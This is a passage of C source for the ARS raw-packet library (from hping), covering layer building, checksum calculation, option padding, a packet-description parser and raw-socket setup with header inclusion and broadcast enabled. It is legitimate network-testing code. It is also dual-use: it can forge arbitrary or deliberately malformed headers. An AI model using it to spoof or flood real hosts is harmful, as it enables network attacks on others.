pkt->p_layer[layer].l_flags |= ARS_TAKE_ICMP_CKSUM;
} else if (strcasecmp(f, "id") == 0) {
icmp->un.echo.id = htons(ars_atou(v));
} else if (strcasecmp(f, "seq") == 0) {
icmp->un.echo.sequence = htons(ars_atou(v));
} else if (strcasecmp(f, "gw") == 0) {
return ars_resolve(pkt, &icmp->un.gateway, v);
} else {
ars_set_error(pkt, "Invalid field for ICMP layer");
return -ARS_INVALID;
}
return -ARS_OK;
}
int ars_push_data(struct ars_packet *pkt, int layer, void *data, size_t size)
{
char *p;
int old_size;
if (layer == ARS_LAST_LAYER)
layer = pkt->p_layer_nr - 1;
if (ars_valid_layer(layer) != -ARS_OK)
return -ARS_INVALID;
old_size = pkt->p_layer[layer].l_size;
p = realloc(pkt->p_layer[layer].l_data, old_size + size);
if (p == NULL)
return -ARS_NOMEM;
memcpy(p+old_size, data, size);
pkt->p_layer[layer].l_data = p;
pkt->p_layer[layer].l_size += size;
return ARS_OK;
}
#define ARS_DATA_BUF_SIZE 4096
int ars_d_set_data(struct ars_packet *pkt, int layer, char *f, char *v)
{
if (layer == ARS_LAST_LAYER)
layer = pkt->p_layer_nr - 1;
if (ars_valid_layer(layer) != -ARS_OK)
return -ARS_INVALID;
if (strcasecmp(f, "file") == 0) {
int fd, n_read;
unsigned char buffer[ARS_DATA_BUF_SIZE];
if ((fd = open(v, O_RDONLY)) == -1) {
ars_set_error(pkt, "Can't open the DATA file");
return -ARS_ERROR;
}
if ((n_read = read(fd, buffer, ARS_DATA_BUF_SIZE)) == -1) {
close(fd);
ars_set_error(pkt, "Can't read DATA from file");
return -ARS_ERROR;
}
close(fd);
if (n_read == 0)
return -ARS_OK;
return ars_push_data(pkt, layer, buffer, n_read);
} else if (strcasecmp(f, "str") == 0) {
return ars_push_data(pkt, layer, v, strlen(v));
} else {
ars_set_error(pkt, "Invalid field for DATA layer");
return -ARS_INVALID;
}
return -ARS_OK;
}
/* A Finite state machine to build the packet using the description */
int ars_d_build(struct ars_packet *pkt, char *t)
{
struct ars_d_keyword_info *k = NULL;
char next[ARS_MAX_TSIZE];
char field[ARS_MAX_TSIZE];
int state = ARS_G_LAYER;
int error;
void *p;
while ((t = ars_d_parser(t, next, ARS_MAX_TSIZE)) != NULL) {
switch(state) {
case ARS_G_LAYER:
k = ars_get_keyword_by_name(next);
if (k == NULL) {
ars_set_error(pkt, "Unknown keyword");
return -ARS_INVALID;
}
__D(printf("Adding a new layer (%s)\n", next);)
p = k->ki_add(pkt, k->ki_opt);
if (p == NULL)
return -ARS_INVALID;
state = ARS_G_OBRACE_OR_PLUS;
break;
case ARS_G_FIELD:
strncpy(field, next, ARS_MAX_TSIZE);
state = ARS_G_EQUAL;
break;
case ARS_G_VALUE:
if (k->ki_set == NULL) {
ars_set_error(pkt, "Field specified for"
"a layer that doesn't support fields");
return -ARS_INVALID;
}
error = k->ki_set(pkt, ARS_LAST_LAYER, field, next);
if (error != -ARS_OK)
return error;
state = ARS_G_COMMA_OR_CBRACE;
break;
case ARS_G_OBRACE_OR_PLUS:
if (next[0] == '{' && next[1] == '\0') {
state = ARS_G_FIELD;
break;
} else if (next[0] == '+' && next[1] == '\0') {
state = ARS_G_LAYER;
break;
} else {
ars_set_error(pkt, "Missing brace or plus");
return -ARS_INVALID;
}
break;
case ARS_G_CBRACE:
if (next[0] != '}' || next[1] != '\0') {
ars_set_error(pkt, "Missing closed brace");
return -ARS_INVALID;
}
state = ARS_G_LEN_OR_PLUS;
break;
case ARS_G_COMMA_OR_CBRACE:
if (next[0] == '}' && next[1] == '\0') {
state = ARS_G_LEN_OR_PLUS;
break;
} else if (next[0] == ',' && next[1] == '\0') {
state = ARS_G_FIELD;
break;
} else {
ars_set_error(pkt, "Missing brace or comma");
return -ARS_INVALID;
}
break;
case ARS_G_LEN_OR_PLUS:
if (next[0] == '+' && next[1] == '\0') {
state = ARS_G_LAYER;
break;
}
error = ars_d_setlayer_size(pkt, ARS_LAST_LAYER, next);
if (error != -ARS_OK)
return error;
state = ARS_G_PLUS;
break;
case ARS_G_PLUS:
if (next[0] != '+' || next[1] != '\0') {
ars_set_error(pkt, "Missing plus");
return -ARS_INVALID;
}
state = ARS_G_LAYER;
break;
case ARS_G_EQUAL:
if (next[0] != '=' || next[1] != '\0') {
ars_set_error(pkt, "Missing equal");
return -ARS_INVALID;
}
state = ARS_G_VALUE;
break;
}
}
if (state != ARS_G_LEN_OR_PLUS && state != ARS_G_PLUS &&
state != ARS_G_OBRACE_OR_PLUS) {
ars_set_error(pkt, "Packet description truncated");
return -ARS_INVALID;
}
return -ARS_OK;
}

905
ars.c Normal file
View File

@ -0,0 +1,905 @@
/* Copyright (C) 2000,2001 Salvatore Sanfilippo <antirez@invece.org>
* See the LICENSE file for more information.
*
* TODO:
* o Functions to add addresses and timestamps for some IP and TCP option
* o IGMP support
* o DNS support
* o ARS add_build_layer() facility and Co., read the PROPOSAL file.
*/
/* $Id: ars.c,v 1.4 2003/07/28 09:00:54 njombart Exp $ */
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include "ars.h"
/* prototypes */
int ars_compiler_ip(struct ars_packet *pkt, int layer);
int ars_compiler_ipopt(struct ars_packet *pkt, int layer);
int ars_compiler_tcp(struct ars_packet *pkt, int layer);
int ars_compiler_tcpopt(struct ars_packet *pkt, int layer);
int ars_compiler_udp(struct ars_packet *pkt, int layer);
int ars_compiler_icmp(struct ars_packet *pkt, int layer);
int ars_compiler_abort(struct ars_packet *pkt, int layer) { return 0; }
/* Initialize a packets context:
* must be called before to work with the packet's layers */
int ars_init(struct ars_packet *pkt)
{
int j;
pkt->p_error = NULL;
pkt->p_layer_nr = 0;
for (j = 0; j < ARS_MAX_LAYER; j++) {
pkt->p_layer[j].l_size = 0;
pkt->p_layer[j].l_flags = 0;
pkt->p_layer[j].l_type = ARS_TYPE_NULL;
pkt->p_layer[j].l_data = NULL;
pkt->p_layer[j].l_packet = pkt;
}
for (j = 0; j < ARS_TYPE_SIZE; j++)
pkt->p_default[j] = NULL;
return -ARS_OK;
}
/* Destroy (free the allocated memory) a packet context */
int ars_destroy(struct ars_packet *pkt)
{
int j;
free(pkt->p_error);
for (j = 0; j < ARS_MAX_LAYER; j++) {
if (pkt->p_layer[j].l_type != ARS_TYPE_NULL &&
pkt->p_layer[j].l_data != NULL)
free(pkt->p_layer[j].l_data);
}
return ars_init(pkt); /* Re-initialize it */
}
/* THe out of memory message must be statically allocated */
char *ars_error_nomem = "Out of memory";
/* Set the error description */
int ars_set_error(struct ars_packet *pkt, char *error)
{
if (pkt == NULL)
return -ARS_OK;
free(pkt->p_error); /* p_error is initialized to NULL */
if ((pkt->p_error = strdup(error)) == NULL) {
/* To put the error description for the -KO_NOMEM
* error we needs a statically allocated error message:
* Note that all other functions don't need to report
* a statically allocated error message for -KO_NOMEM
* it will be auto-selected if strdup() returns NULL */
pkt->p_error = ars_error_nomem;
}
return -ARS_OK; /* report anyway success */
}
/* Set the default for a layer */
int ars_set_default(struct ars_packet *pkt, int layer_type, void *def)
{
pkt->p_default[layer_type] = def;
return -ARS_OK;
}
/* return nonzero if the packet is full */
int ars_nospace(struct ars_packet *pkt)
{
return (pkt->p_layer_nr == ARS_MAX_LAYER);
}
/* Check if the layer number is valid */
int ars_valid_layer(int layer)
{
if (layer < 0 || layer >= ARS_MAX_LAYER)
return -ARS_INVALID;
return -ARS_OK;
}
/* Add an a generic layer */
int ars_add_generic(struct ars_packet *pkt, size_t size, int type)
{
int layer;
if (ars_nospace(pkt)) {
ars_set_error(pkt, "No space for the next layer");
return -ARS_NOSPACE;
}
layer = pkt->p_layer_nr;
/* You may want to create a 0 len layer and then realloc */
if (size != 0) {
pkt->p_layer[layer].l_data = malloc(size);
if (pkt->p_layer[layer].l_data == NULL) {
ars_set_error(pkt, "Out of memory adding a new layer");
return -ARS_NOMEM;
}
memset(pkt->p_layer[layer].l_data, 0, size);
/* Copy the default if any */
if (pkt->p_default[type] != NULL) {
memcpy(pkt->p_layer[layer].l_data,
pkt->p_default[type], size);
}
}
pkt->p_layer[layer].l_type = type;
pkt->p_layer[layer].l_size = size;
return -ARS_OK;
}
/* Add an IP layer */
void *ars_add_iphdr(struct ars_packet *pkt, int unused)
{
int retval;
retval = ars_add_generic(pkt, sizeof(struct ars_iphdr), ARS_TYPE_IP);
if (retval != -ARS_OK)
return NULL;
pkt->p_layer_nr++;
return pkt->p_layer[pkt->p_layer_nr-1].l_data;
}
/* Add on IP option */
void *ars_add_ipopt(struct ars_packet *pkt, int option)
{
int retval;
struct ars_ipopt *ipopt;
int opt_len;
switch(option) {
case ARS_IPOPT_END:
case ARS_IPOPT_NOOP:
opt_len = 1;
break;
case ARS_IPOPT_SEC:
opt_len = 11;
break;
case ARS_IPOPT_SID:
opt_len = 4;
break;
case ARS_IPOPT_LSRR:
case ARS_IPOPT_SSRR:
case ARS_IPOPT_RR:
case ARS_IPOPT_TIMESTAMP:
/* We allocate the max (40 bytes) but the real layer size
* may be modified by ars_ipopt_set*() functions */
opt_len = 40;
break;
default:
return NULL; /* Unsupported option */
break;
}
retval = ars_add_generic(pkt, opt_len, ARS_TYPE_IPOPT);
if (retval != -ARS_OK)
return NULL;
ipopt = pkt->p_layer[pkt->p_layer_nr].l_data;
pkt->p_layer_nr++;
ipopt->kind = option;
ipopt->len = opt_len; /* the default, can be modified inside switch() */
/* Perform some special operation for some option */
switch(option) {
case ARS_IPOPT_LSRR: /* ars_ipopt_setls() will change some field */
case ARS_IPOPT_SSRR: /* ars_ipopt_setss() will change some field */
case ARS_IPOPT_RR: /* ars_ipopt_setrr() will change some field */
/* RFC 791 needs the roomlen - 3 octects, so the gateways
* can compare len and ptr to check for room.
* Try to break this to stress lame TCP/IP implementation */
ipopt->len = opt_len - 2 - 3;
ipopt->un.rr.ptr = 4;
break;
case ARS_IPOPT_TIMESTAMP:
ipopt->un.tstamp.ptr = 5;
ipopt->un.tstamp.flags = ARS_IPOPT_TS_TSONLY; /* default */
break;
}
return ipopt;
}
/* Add a UDP layer */
void *ars_add_udphdr(struct ars_packet *pkt, int unused)
{
int retval;
retval = ars_add_generic(pkt, sizeof(struct ars_udphdr), ARS_TYPE_UDP);
if (retval != -ARS_OK)
return NULL;
pkt->p_layer_nr++;
return pkt->p_layer[pkt->p_layer_nr-1].l_data;
}
/* Add a TCP layer */
void *ars_add_tcphdr(struct ars_packet *pkt, int unused)
{
int retval;
retval = ars_add_generic(pkt, sizeof(struct ars_tcphdr), ARS_TYPE_TCP);
if (retval != -ARS_OK)
return NULL;
pkt->p_layer_nr++;
return pkt->p_layer[pkt->p_layer_nr-1].l_data;
}
/* Add TCP options */
void *ars_add_tcpopt(struct ars_packet *pkt, int option)
{
int retval;
struct ars_tcpopt *tcpopt;
int opt_len;
switch(option) {
case ARS_TCPOPT_NOP:
case ARS_TCPOPT_EOL:
opt_len = 1;
break;
case ARS_TCPOPT_MAXSEG:
opt_len = 4;
break;
case ARS_TCPOPT_WINDOW:
opt_len = 3;
break;
case ARS_TCPOPT_SACK_PERM: /* ars_tcpopt_setsack() must change this */
case ARS_TCPOPT_SACK:
opt_len = 2;
break;
case ARS_TCPOPT_ECHOREQUEST:
case ARS_TCPOPT_ECHOREPLY:
opt_len = 6;
break;
case ARS_TCPOPT_TIMESTAMP:
opt_len = 10;
break;
default:
return NULL; /* Unsupported option */
break;
}
retval = ars_add_generic(pkt, opt_len, ARS_TYPE_TCPOPT);
if (retval != -ARS_OK)
return NULL;
tcpopt = pkt->p_layer[pkt->p_layer_nr].l_data;
pkt->p_layer_nr++;
tcpopt->kind = option;
/* EOL and NOP lacks the len field */
if (option != ARS_TCPOPT_EOL && option != ARS_TCPOPT_NOP)
tcpopt->len = opt_len;
/* Perform some special operation for the option */
switch(option) {
case ARS_TCPOPT_ECHOREQUEST:
case ARS_TCPOPT_ECHOREPLY:
memset(tcpopt->un.echo.info, 0, 4);
break;
case ARS_TCPOPT_TIMESTAMP:
memset(tcpopt->un.timestamp.tsval, 0, 4);
memset(tcpopt->un.timestamp.tsecr, 0, 4);
break;
}
return tcpopt;
}
/* Add an ICMP layer */
void *ars_add_icmphdr(struct ars_packet *pkt, int unused)
{
int retval;
struct ars_icmphdr *icmp;
retval = ars_add_generic(pkt, sizeof(struct ars_icmphdr),ARS_TYPE_ICMP);
if (retval != -ARS_OK)
return NULL;
icmp = pkt->p_layer[pkt->p_layer_nr].l_data;
pkt->p_layer_nr++;
return (struct ars_icmphdr*) pkt->p_layer[pkt->p_layer_nr-1].l_data;
}
/* Add data, for IP-RAW, TCP, UDP, and so on */
void *ars_add_data(struct ars_packet *pkt, int size)
{
int retval;
void *boguspointer = "zzappt"; /* we can't return NULL for size == 0 */
if (size < 0) {
ars_set_error(pkt, "Tryed to add a DATA layer with size < 0");
return NULL;
}
retval = ars_add_generic(pkt, size, ARS_TYPE_DATA);
if (retval != -ARS_OK)
return NULL;
pkt->p_layer_nr++;
if (size > 0)
return pkt->p_layer[pkt->p_layer_nr-1].l_data;
else
return boguspointer;
}
/* Remove a layer */
int ars_remove_layer(struct ars_packet *pkt, int layer)
{
if (layer == ARS_LAST_LAYER)
layer = pkt->p_layer_nr -1;
if (ars_valid_layer(layer) != -ARS_OK)
return -ARS_INVALID;
free(pkt->p_layer[layer].l_data); /* No problem if it's NULL */
pkt->p_layer[layer].l_type = ARS_TYPE_NULL;
pkt->p_layer[layer].l_size = 0;
pkt->p_layer[layer].l_flags = 0;
pkt->p_layer[layer].l_data = NULL;
pkt->p_layer[layer].l_packet = pkt;
return -ARS_OK;
}
/* Return the sum of the size of the specifed layer and of all the
* following layers */
size_t ars_relative_size(struct ars_packet *pkt, int layer_nr)
{
int j = layer_nr, rel_size = 0;
while (j < ARS_MAX_LAYER && pkt->p_layer[j].l_type != ARS_TYPE_NULL) {
rel_size += pkt->p_layer[j].l_size;
j++;
}
return rel_size;
}
/* Just a short cut for ars_relative_size(), to get the total size */
size_t ars_packet_size(struct ars_packet *pkt)
{
return ars_relative_size(pkt, 0);
}
/* from R. Stevens's Network Programming */
u_int16_t ars_cksum(void *vbuf, size_t nbytes)
{
u_int16_t *buf = (u_int16_t*) vbuf;
u_int32_t sum;
u_int16_t oddbyte;
sum = 0;
while (nbytes > 1) {
sum += *buf++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((u_int16_t *) &oddbyte) = *(u_int8_t *) buf;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (u_int16_t) ~sum;
}
/* Multiple buffers checksum facility */
u_int16_t ars_multi_cksum(struct mc_context *c, int op, void *vbuf,
size_t nbytes)
{
u_int16_t *buf = (u_int16_t*) vbuf;
u_int32_t sum;
u_int16_t oddbyte;
void *tmp;
if (op == ARS_MC_INIT) {
c->oddbyte_flag = 0;
c->old = 0;
return -ARS_OK;
} else if (op == ARS_MC_UPDATE) {
if (c->oddbyte_flag) {
u_int8_t *x = (u_int8_t*)&oddbyte;
oddbyte = 0;
*((u_int16_t *) &oddbyte) = c->oddbyte << 8;
*((u_int16_t *) &oddbyte) |= *(u_int8_t *) buf;
oddbyte = (x[0] << 8) | x[1]; /* fix endianess */
c->old += oddbyte;
nbytes--;
c->oddbyte_flag = 0;
/* We need to stay aligned -- bad slowdown, fix? */
tmp = alloca(nbytes);
memcpy(tmp, vbuf+1, nbytes);
buf = tmp;
}
sum = c->old;
while (nbytes > 1) {
sum += *buf++;
nbytes -= 2;
}
c->old = sum;
if (nbytes == 1) {
c->oddbyte = *(u_int8_t*) buf;
c->oddbyte_flag++;
}
return -ARS_OK;
} else if (op == ARS_MC_FINAL) {
sum = c->old;
if (c->oddbyte_flag == 1) {
oddbyte = 0;
*((u_int16_t *) &oddbyte) = c->oddbyte;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (u_int16_t) ~sum;
} else {
assert("else reached in ars_multi_cksum()" == "");
}
return 0; /* unreached, here to prevent warnings */
}
/* The ARS compiler table is just a function pointers array:
* For example to select the right function to compile an IP
* layer use: ars_compiler[ARS_TYPE_IP](pkt, layer);
* You can, of course, add your protocols and compilers:
*
* WARNING: take it syncronized with ars.h ARS_TYPE_* defines
*/
struct ars_layer_info ars_linfo[ARS_TYPE_SIZE] = {
/* NAME COMPILER ID *
* ---- -------- -- */
{ "NULL", ars_compiler_abort, 0 },
{ "IP", ars_compiler_ip, 1 },
{ "IPOPT", ars_compiler_ipopt, 2 },
{ "ICMP", ars_compiler_icmp, 3 },
{ "UDP", ars_compiler_udp, 4 },
{ "TCP", ars_compiler_tcp, 5 },
{ "TCPOPT", ars_compiler_tcpopt, 6 },
{ NULL, NULL, 7 },
{ NULL, NULL, 8 },
{ NULL, NULL, 9 },
{ NULL, NULL, 10 },
{ NULL, NULL, 11 },
{ NULL, NULL, 12 },
{ NULL, NULL, 13 },
{ NULL, NULL, 14 },
{ NULL, NULL, 15 },
{ NULL, NULL, 16 },
{ NULL, NULL, 17 },
{ NULL, NULL, 18 },
{ NULL, NULL, 19 },
{ NULL, NULL, 20 },
{ NULL, NULL, 21 },
{ NULL, NULL, 22 },
{ NULL, NULL, 23 },
{ NULL, NULL, 24 },
{ NULL, NULL, 25 },
{ NULL, NULL, 26 },
{ NULL, NULL, 27 },
{ NULL, NULL, 28 },
{ NULL, NULL, 29 },
{ NULL, NULL, 30 },
{ "DATA", NULL, 31 }
};
/* This function call the right compiler for all the layers of the packet:
* A compiler just set the protocol fields like the checksum, len, and so on
* accordly to the following layers.
* Note that the layers are compiled from the last to the first, to ensure
* that the checksum and other dependences are sane. */
int ars_compile(struct ars_packet *pkt)
{
int j, err;
for (j = pkt->p_layer_nr - 1; j >= 0; j--) {
__D(printf("Compiling layer %d\n", j);)
/* Skip NULL compilers */
if (ars_linfo[pkt->p_layer[j].l_type].li_compiler != NULL) {
/* Call the compiler */
err = ars_linfo[pkt->p_layer[j].l_type].li_compiler(pkt, j);
if (err != -ARS_OK)
return err;
}
}
return -ARS_OK;
}
/* The IP compiler: probably the more complex, but still simple */
int ars_compiler_ip(struct ars_packet *pkt, int layer)
{
struct ars_iphdr *ip = pkt->p_layer[layer].l_data;
int j = layer, err;
int flags = pkt->p_layer[layer].l_flags;
int ipoptlen = 0;
struct mc_context mc; /* multi-buffer checksum context */
/* IP version */
if (ARS_DONTTAKE(flags, ARS_TAKE_IP_VERSION))
ip->version = 4;
/* IP header len */
if (ARS_DONTTAKE(flags, ARS_TAKE_IP_HDRLEN)) {
ip->ihl = (ARS_IPHDR_SIZE >> 2);
/* Add IP options len */
for (j = layer+1; j < ARS_MAX_LAYER; j++) {
if (pkt->p_layer[j].l_type != ARS_TYPE_IPOPT)
break;
ipoptlen += pkt->p_layer[j].l_size;
}
ip->ihl += ipoptlen >> 2;
}
/* IP tot len */
if (ARS_DONTTAKE(flags, ARS_TAKE_IP_TOTLEN))
ip->tot_len = htons(ars_relative_size(pkt, layer));
/* IP protocol field */
if (ARS_DONTTAKE(flags, ARS_TAKE_IP_PROTOCOL)) {
ip->protocol = ARS_IPPROTO_RAW; /* This is the default */
while (j < ARS_MAX_LAYER) {
if (pkt->p_layer[j].l_type == ARS_TYPE_IPOPT) {
j++;
continue;
}
switch(pkt->p_layer[j].l_type) {
case ARS_TYPE_IP:
ip->protocol = ARS_IPPROTO_IPIP;
break;
case ARS_TYPE_ICMP:
ip->protocol = ARS_IPPROTO_ICMP;
break;
case ARS_TYPE_UDP:
ip->protocol = ARS_IPPROTO_UDP;
break;
case ARS_TYPE_TCP:
ip->protocol = ARS_IPPROTO_TCP;
break;
}
break;
}
}
/* We always calculate the IP checksum, since the kernel
* do it only for the first IP header in the datagram */
if (ARS_DONTTAKE(flags, ARS_TAKE_IP_CKSUM)) {
ip->check = 0;
ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0);
err = ars_multi_cksum(&mc, ARS_MC_UPDATE, ip, ARS_IPHDR_SIZE);
if (err != -ARS_OK)
return err;
for (j = layer+1; j < ARS_MAX_LAYER; j++) {
if (pkt->p_layer[j].l_type != ARS_TYPE_IPOPT)
break;
err = ars_multi_cksum(&mc, ARS_MC_UPDATE,
pkt->p_layer[j].l_data,
pkt->p_layer[j].l_size);
if (err != -ARS_OK)
return err;
}
ip->check = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0);
}
return -ARS_OK;
}
/* The ip options compiler: do just option padding with NOP options */
int ars_compiler_ipopt(struct ars_packet *pkt, int layer)
{
int j, opt_size;
/* Padding is needed only in the last IP option */
if (layer != ARS_MAX_LAYER-1 &&
pkt->p_layer[layer+1].l_type == ARS_TYPE_IPOPT)
return ARS_OK;
/* Search the layer of the relative first TCP option */
j = layer - 1; /* We know that 'layer' is a tcp option */
while (j < ARS_MAX_LAYER && j >= 0 &&
pkt->p_layer[j].l_type == ARS_TYPE_IPOPT)
j--;
j++;
__D(printf("First IP OPTION layer is %d\n", j);)
opt_size = ars_relative_size(pkt, j) - ars_relative_size(pkt, layer+1);
__D(printf("IP OPTION size %d\n", opt_size);)
if (opt_size % 4) {
int padding = 4 - (opt_size % 4);
unsigned char *t;
int cur_size = pkt->p_layer[layer].l_size;
__D(printf("IP OPTION at layer %d needs %d bytes "
"of padding\n", layer, padding);)
t = realloc(pkt->p_layer[layer].l_data, cur_size + padding);
if (t == NULL) {
ars_set_error(pkt, "Out of memory padding IP options");
return -ARS_NOMEM;
}
memset(t+cur_size, ARS_IPOPT_NOP, padding);
pkt->p_layer[layer].l_size += padding;
}
return -ARS_OK;
}
/* Compute the UDP and TCP checksum using the pseudoheader.
* Note that this functions automatically care about TCP/UDP data */
int ars_udptcp_cksum(struct ars_packet *pkt, int layer, u_int16_t *sum)
{
struct ars_iphdr *ip;
struct ars_pseudohdr pseudo;
struct mc_context mc; /* multi-buffer checksum context */
int j = layer - 1, err;
/* search the first IP layer on the left:
* it returns an error if between the IP and
* the TCP layer there aren't just IPOPT layers:
* even with malformed packets this does not
* makes sense. */
while (j > 0 && pkt->p_layer[j].l_type == ARS_TYPE_IPOPT)
j--;
if (pkt->p_layer[j].l_type != ARS_TYPE_IP) {
ars_set_error(pkt, "TCP/UDP checksum requested, but IP header "
"not found");
return -ARS_INVALID;
}
ip = pkt->p_layer[j].l_data;
memset(&pseudo, 0, sizeof(pseudo)); /* actually not needed */
/* Copy the src and dst IP address */
memcpy(&pseudo.saddr, &ip->saddr, 4);
memcpy(&pseudo.daddr, &ip->daddr, 4);
pseudo.protocol = (pkt->p_layer[layer].l_type == ARS_TYPE_TCP)
? ARS_IPPROTO_TCP : ARS_IPPROTO_UDP;
pseudo.lenght = htons(ars_relative_size(pkt, layer));
/* Finally do the checksum */
ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0);
err = ars_multi_cksum(&mc, ARS_MC_UPDATE, &pseudo, sizeof(pseudo));
if (err != -ARS_OK)
return err;
for (j = layer; j < ARS_MAX_LAYER; j++) {
if (pkt->p_layer[j].l_type == ARS_TYPE_NULL)
break;
err = ars_multi_cksum(&mc, ARS_MC_UPDATE,
pkt->p_layer[j].l_data,
pkt->p_layer[j].l_size);
if (err != -ARS_OK)
return err;
}
*sum = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0);
return -ARS_OK;
}
/* The tcp compiler */
int ars_compiler_tcp(struct ars_packet *pkt, int layer)
{
struct ars_tcphdr *tcp = pkt->p_layer[layer].l_data;
int j, err, tcpoptlen = 0;
int flags = pkt->p_layer[layer].l_flags;
if (ARS_DONTTAKE(flags, ARS_TAKE_TCP_HDRLEN)) {
tcp->th_off = ARS_TCPHDR_SIZE >> 2;
/* Add the len of the options */
for (j = layer+1; j < ARS_MAX_LAYER; j++) {
if (pkt->p_layer[j].l_type != ARS_TYPE_TCPOPT)
break;
tcpoptlen += pkt->p_layer[j].l_size;
}
tcp->th_off += tcpoptlen >> 2;
}
if (ARS_DONTTAKE(flags, ARS_TAKE_TCP_CKSUM)) {
tcp->th_sum = 0;
err = ars_udptcp_cksum(pkt, layer, &tcp->th_sum);
if (err != -ARS_OK)
return err;
}
return -ARS_OK;
}
/* The tcp options compiler: do just option padding with NOP options */
int ars_compiler_tcpopt(struct ars_packet *pkt, int layer)
{
int j, opt_size;
/* Padding is needed only in the last TCP option */
if (layer != ARS_MAX_LAYER-1 &&
pkt->p_layer[layer+1].l_type == ARS_TYPE_TCPOPT)
return ARS_OK;
/* Search the layer of the relative first TCP option */
j = layer - 1; /* We know that 'layer' is a tcp option */
while (j < ARS_MAX_LAYER && j >= 0 &&
pkt->p_layer[j].l_type == ARS_TYPE_TCPOPT)
j--;
j++;
__D(printf("First TCP OPTION layer is %d\n", j);)
opt_size = ars_relative_size(pkt, j) - ars_relative_size(pkt, layer+1);
__D(printf("TCP OPTION size %d\n", opt_size);)
if (opt_size % 4) {
int padding = 4 - (opt_size % 4);
unsigned char *t;
int cur_size = pkt->p_layer[layer].l_size;
__D(printf("TCP OPTION at layer %d needs %d bytes "
"of padding\n", layer, padding);)
t = realloc(pkt->p_layer[layer].l_data, cur_size + padding);
if (t == NULL) {
ars_set_error(pkt, "Out of memory padding TCP options");
return -ARS_NOMEM;
}
memset(t+cur_size, ARS_TCPOPT_NOP, padding);
pkt->p_layer[layer].l_size += padding;
}
return -ARS_OK;
}
/* The udp compiler, very simple */
int ars_compiler_udp(struct ars_packet *pkt, int layer)
{
struct ars_udphdr *udp = pkt->p_layer[layer].l_data;
int err;
int flags = pkt->p_layer[layer].l_flags;
if (ARS_DONTTAKE(flags, ARS_TAKE_UDP_LEN))
udp->uh_ulen = htons(ars_relative_size(pkt, layer));
if (ARS_DONTTAKE(flags, ARS_TAKE_UDP_CKSUM)) {
udp->uh_sum = 0;
err = ars_udptcp_cksum(pkt, layer, &udp->uh_sum);
if (err != -ARS_OK)
return err;
}
return -ARS_OK;
}
/* The icmp compiler, just compute the checksum */
int ars_compiler_icmp(struct ars_packet *pkt, int layer)
{
struct ars_icmphdr *icmp = pkt->p_layer[layer].l_data;
struct mc_context mc; /* multi-buffer checksum context */
int err, j;
int flags = pkt->p_layer[layer].l_flags;
if (ARS_DONTTAKE(flags, ARS_TAKE_ICMP_CKSUM)) {
icmp->checksum = 0;
ars_multi_cksum(&mc, ARS_MC_INIT, NULL, 0);
for (j = layer; j < ARS_MAX_LAYER; j++) {
if (pkt->p_layer[j].l_type == ARS_TYPE_NULL)
break;
err = ars_multi_cksum(&mc, ARS_MC_UPDATE,
pkt->p_layer[j].l_data,
pkt->p_layer[j].l_size);
if (err != -ARS_OK)
return err;
}
icmp->checksum = ars_multi_cksum(&mc, ARS_MC_FINAL, NULL, 0);
}
return -ARS_OK;
}
/* Open a raw socket, ready for IP header creation and broadcast addresses */
int ars_open_rawsocket(struct ars_packet *pkt)
{
int s;
const int one = 1;
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
ars_set_error(pkt, "Can't open the raw socket");
return -ARS_ERROR;
}
if (setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char*)&one,
sizeof(one)) == -1 ||
setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char*)&one,
sizeof(one)) == -1)
{
close(s);
ars_set_error(pkt, "Can't set socket options");
return -ARS_ERROR;
}
return s;
}
/* Create the packets using the layers. This function is often called
* after the layers compilation. Note that since the packet created
* is sane the strange-rawsocket-behaviour of some *BSD will not
* be able to send this packet. Use the function ars_bsd_fix() to fix it.
* WARNING: The packets returned is malloc()ated, free it */
int ars_build_packet(struct ars_packet *pkt, unsigned char **packet, size_t *size)
{
size_t tot_size, offset = 0;
int j = 0;
if ((tot_size = ars_packet_size(pkt)) == 0) {
ars_set_error(pkt, "Total size 0 building the packet");
return -ARS_INVALID;
}
if ((*packet = malloc(tot_size)) == NULL) {
ars_set_error(pkt, "Out of memory building the packet");
return -ARS_NOMEM;
}
while (j < ARS_MAX_LAYER && pkt->p_layer[j].l_type != ARS_TYPE_NULL) {
memcpy((*packet)+offset, pkt->p_layer[j].l_data,
pkt->p_layer[j].l_size);
offset += pkt->p_layer[j].l_size;
j++;
}
*size = tot_size;
return -ARS_OK;
}
/* FreeBSD and NetBSD have a strange raw socket layer :(
* Call this function anyway to increase portability
* since it does not perform any operation if the
* system isn't FreeBSD or NetBSD. */
int ars_bsd_fix(struct ars_packet *pkt, unsigned char *packet, size_t size)
{
struct ars_iphdr *ip;
if (pkt->p_layer[0].l_type != ARS_TYPE_IP ||
size < sizeof(struct ars_iphdr)) {
ars_set_error(pkt, "BSD fix requested, but layer 0 not IP");
return -ARS_INVALID;
}
ip = (struct ars_iphdr*) packet;
#if defined OSTYPE_FREEBSD || defined OSTYPE_NETBSD || defined OSTYPE_BSDI
ip->tot_len = ntohs(ip->tot_len);
ip->frag_off = ntohs(ip->frag_off);
#endif
return -ARS_OK;
}
/* Set the flags for some layer: if layer == -1 the last layer will be used */
int ars_set_flags(struct ars_packet *pkt, int layer, int flags)
{
if (layer == ARS_LAST_LAYER)
layer = pkt->p_layer_nr - 1;
if (layer < 0 || layer >= ARS_MAX_LAYER) {
ars_set_error(pkt, "Invalid layer setting layer flags");
return -ARS_INVALID;
}
pkt->p_layer[layer].l_flags = flags;
return -ARS_OK;
}
/* Build, fix, and send the packet */
int ars_send(int s, struct ars_packet *pkt, struct sockaddr *sa, socklen_t slen)
{
struct sockaddr_in sain;
struct sockaddr *_sa = sa;
unsigned char *packet;
size_t size;
int error;
/* Perform the socket address completion if sa == NULL */
if (sa == NULL) {
struct ars_iphdr *ip;
memset(&sain, 0, sizeof(sain));
